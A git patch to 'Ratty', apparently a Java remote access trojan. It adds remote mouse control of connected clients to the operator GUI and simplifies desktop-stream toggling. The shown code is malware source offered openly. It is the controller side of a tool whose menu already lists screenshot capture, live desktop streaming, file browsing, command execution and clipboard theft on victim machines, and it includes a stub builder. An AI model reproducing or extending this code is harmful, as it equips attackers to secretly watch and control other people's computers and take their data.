From 712d30168ddce5cf80215c65de40f75e8ef64441 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 7 Feb 2016 15:32:38 +0100 Subject: [PATCH] Major changes Added mouse control Cleanups GUI improvements --- Ratty/res/menu_icons.png | Bin 766 -> 692 bytes Ratty/src/de/sogomn/rat/Ratty.java | 15 +++- .../de/sogomn/rat/builder/StubBuilder.java | 2 +- .../sogomn/rat/packet/MouseEventPacket.java | 69 ++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../sogomn/rat/server/gui/DisplayPanel.java | 65 ++++++++++++++++- .../sogomn/rat/server/gui/FileTreePanel.java | 4 + .../de/sogomn/rat/server/gui/RattyGui.java | 4 +- .../rat/server/gui/RattyGuiController.java | 31 +++++--- .../sogomn/rat/server/gui/ServerClient.java | 3 + 10 files changed, 177 insertions(+), 19 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index 94d26f43c607ca440811c077e9150b2e48bd0606..128199ec5957656d58cf3d5e6bb5474584b4535b 100644 GIT binary patch delta 668 zcmV;N0%QID1+)c_B!7EJL_t(|+U?vsP6IIzfZ>Q93DHoe$N{JV5;q7pfPxxv3Th-8 z8g7t^ijIl{P$40@NHjDNS6I+WiL?e|dp+y1*Z)Y<-3Zwy! zZ&#fJpcH`AEohq`FKKgN022a$QUIh|jdu$&3bcJ(WTBhSc_&i?L=VCMjC>ku0&MPI zE|+bZ1zjCobkZB(>99=z0Pt%;u`MQe8tN#dS@=*0tw9)o(g1RshQ7}Bf)W4#hCLVL zYB5sNP%|H{=70aDZ5nHx&H?~HQKurzf}fx4wrK*mrm+A3;I||hT)@cFz)}FQgK#!$ z!T>0*iQ6Eg7QtNrH*fo*=>m{iycgf50zf7J;xAwUxO_YqGywoWXX8^Y8=^vwOKk%h z0LlOa!7k~VK6=@-J^(TS(B6ET`oLXZJo_Gha9se%41d72@Z!7R;#>I8*9%S8_I9b0 zkG=mf0muv>)dd+QfO#@a8z9+*DF6WQXG($i0+=o3{cfjMHrMxU0#GVI=+;Bmpe)^j zYzr^|05Gl=#2^fS4nSzDk!nHO0Mf4uK&b$n@K%Ed29)P+bC_Df_P7&icm@&MEc!Nx2A2!a@Wd=&%3`@4{wjXG2S0000dlM9Kb3H-XPvU3v2Nd)`E?V zH%Mh=XXOE`1hEU)*aWW-WnqImGS0l6H($H|h1cZ6B<~mB%+9>*WWvG0@pH_k(@o0I ze!ta!egHCk{`Q8i^*U+vO`Pp{p%Cr!r)SSm1Ax*2P8W+#*ne)f-S7MO)c^9XQlJfR ze7oud0JQ+5Ehi4Sk*Mi2?us;;sd` zN{rSt)QpF#`G3D*o5otFvj6~4)l!6+@bi=1CQJa=G!_5={I(>;2@G5Y)&d9}gp1h| z1|ajExD7&U6Wj%G^R}-VE~d-XOI015$6e*p`?<>Nur004kIjZdXCL`gqawgxl+ zG6QgMaMawTO(p@T^Y;N-i-WPInbE!&02Bg{Z8=uhD1Rp1^!H7?^!23STnz=F5CC(t z+m=w<HkN^OXb{a|v0$>;b(xnIh02tOZw6x`D=?_H! z0KgAmD1Td$)s`RtG69s*oC*K{07#Z1q?bkj003E@Qnv`^DnZ#Bvj8X*U}!z6v_At- zc5^P@JOJ_n*aok@gI?bgqEat&55U*}`d*wvIvs3p|8ohl!0D{k-veOm0I^SqYzdPl zPV4UgFm?d5q`cql^oq^(eG}3_Sen3U6Au6YL0=HnCmsL>;UI|W6AwV40NPt|T9*(Q zT;c(s1OWg5C5S;707?)iVgOKrSd0UJ4H-6M02pBjVpARfrlG&z2aQ<( clazz; diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index f23cd3e..2bcdb5c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -2,8 +2,10 @@ package de.sogomn.rat.server.gui; import java.awt.Color; import java.awt.Graphics2D; +import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import de.sogomn.engine.IMouseListener; import de.sogomn.engine.Screen; import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.engine.util.ImageUtils; @@ -11,15 +13,20 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class DisplayPanel { + private String title; private Screen screen; private BufferedImage image; + private int lastXPos, lastYPos; + private int lastButtonHit; private int lastKeyHit; private IGuiController controller; private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_HEIGHT = 1080 / 2; + public static final String MOUSE_PRESSED = "Mouse pressed"; + public static final String MOUSE_RELEASED = "Mouse released"; public static final String KEY_PRESSED = "Key pressed"; public static final String KEY_RELEASED = "Key released"; @@ -30,10 +37,29 @@ public final class DisplayPanel { private Screen createScreen(final int width, final int height) { final Screen screen = new Screen(width, height); + final IMouseListener mouseListener = new IMouseListener() { + @Override + public void mouseEvent(final int x, final int y, final int button, final boolean flag) { + mouseEventPerformed(x, y, button, flag); + } + + @Override + public void mouseMotionEvent(final int x, final int y, final int modifiers) { + //... + } + + @Override + public void mouseWheelEvent(final int x, final int y, final int rotation) { + //... + } + }; + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setTitle(title); screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); screen.setBackgroundColor(Color.BLACK); - screen.addKeyboardListener(this::keyEvent); + screen.addMouseListener(mouseListener); + screen.addKeyboardListener(this::keyEventPerformed); screen.addListener(g -> { g.drawImage(image, 0, 0, null); }); @@ -41,7 +67,26 @@ public final class DisplayPanel { return screen; } - private void keyEvent(final int key, final boolean flag) { + private void mouseEventPerformed(final int x, final int y, final int button, final boolean flag) { + lastXPos = x; + lastYPos = y; + + if (button == MouseEvent.BUTTON1) { + lastButtonHit = MouseEvent.BUTTON1_DOWN_MASK; + } else if (button == MouseEvent.BUTTON2) { + lastButtonHit = MouseEvent.BUTTON2_DOWN_MASK; + } else if (button == MouseEvent.BUTTON3) { + lastButtonHit = MouseEvent.BUTTON3_DOWN_MASK; + } else { + lastButtonHit = MouseEvent.NOBUTTON; + } + + if (controller != null) { + controller.userInput(flag ? MOUSE_PRESSED : MOUSE_RELEASED); + } + } + + private void keyEventPerformed(final int key, final boolean flag) { lastKeyHit = key; if (controller != null) { @@ -89,10 +134,26 @@ public final class DisplayPanel { openScreen(screenWidth, screenHeight); } + public void setTitle(final String title) { + this.title = title; + } + public void setController(final IGuiController controller) { this.controller = controller; } + public int getLastXPos() { + return lastXPos; + } + + public int getLastYPos() { + return lastYPos; + } + + public int getLastButtonHit() { + return lastButtonHit; + } + public int getLastKeyHit() { return lastKeyHit; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 9c748b2..5dfdf7c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -246,6 +246,10 @@ public final class FileTreePanel { } } + public void setTitle(final String title) { + dialog.setTitle(title); + } + public void setVisible(final boolean state) { dialog.setVisible(state); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index f5cf36c..f7e9008 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -48,8 +48,7 @@ public final class RattyGui { public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; - public static final String DESKTOP = "Start desktop stream"; - public static final String DESKTOP_STOP = "Stop desktop stream"; + public static final String DESKTOP = "Toggle desktop stream"; public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; @@ -60,7 +59,6 @@ public final class RattyGui { POPUP, SCREENSHOT, DESKTOP, - DESKTOP_STOP, FILES, COMMAND, CLIPBOARD, diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 03af584..b695410 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -22,6 +22,7 @@ import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.KeyEventPacket; +import de.sogomn.rat.packet.MouseEventPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; @@ -139,6 +140,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final int key = displayPanel.getLastKeyHit(); packet = new KeyEventPacket(key, KeyEventPacket.RELEASE); + } else if (command == DisplayPanel.MOUSE_PRESSED) { + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + final int x = displayPanel.getLastXPos(); + final int y = displayPanel.getLastYPos(); + final int button = displayPanel.getLastButtonHit(); + + packet = new MouseEventPacket(x, y, button, MouseEventPacket.PRESS); + } else if (command == DisplayPanel.MOUSE_RELEASED) { + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + final int x = displayPanel.getLastXPos(); + final int y = displayPanel.getLastYPos(); + final int button = displayPanel.getLastButtonHit(); + + packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE); } return packet; @@ -249,20 +264,16 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void userInput(final String command) { final ServerClient serverClient = gui.getLastServerClientClicked(); + final IPacket packet = getPacket(command, serverClient); - if (serverClient != null) { - final IPacket packet = getPacket(command, serverClient); - - if (packet != null) { - serverClient.client.addPacket(packet); - } + if (packet != null) { + serverClient.client.addPacket(packet); } if (command == RattyGui.DESKTOP) { - serverClient.setStreamingDesktop(true); - gui.updateTable(); - } else if (command == RattyGui.DESKTOP_STOP) { - serverClient.setStreamingDesktop(false); + final boolean streaming = serverClient.isStreamingDesktop(); + + serverClient.setStreamingDesktop(!streaming); gui.updateTable(); } else if (command == RattyGui.FILES) { final FileTreePanel treePanel = serverClient.getTreePanel(); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index a252dc2..2b832a5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -29,6 +29,9 @@ public final class ServerClient { this.version = version; loggedIn = true; + + displayPanel.setTitle(name); + treePanel.setTitle(name); } public void setStreamingDesktop(final boolean streamingDesktop) {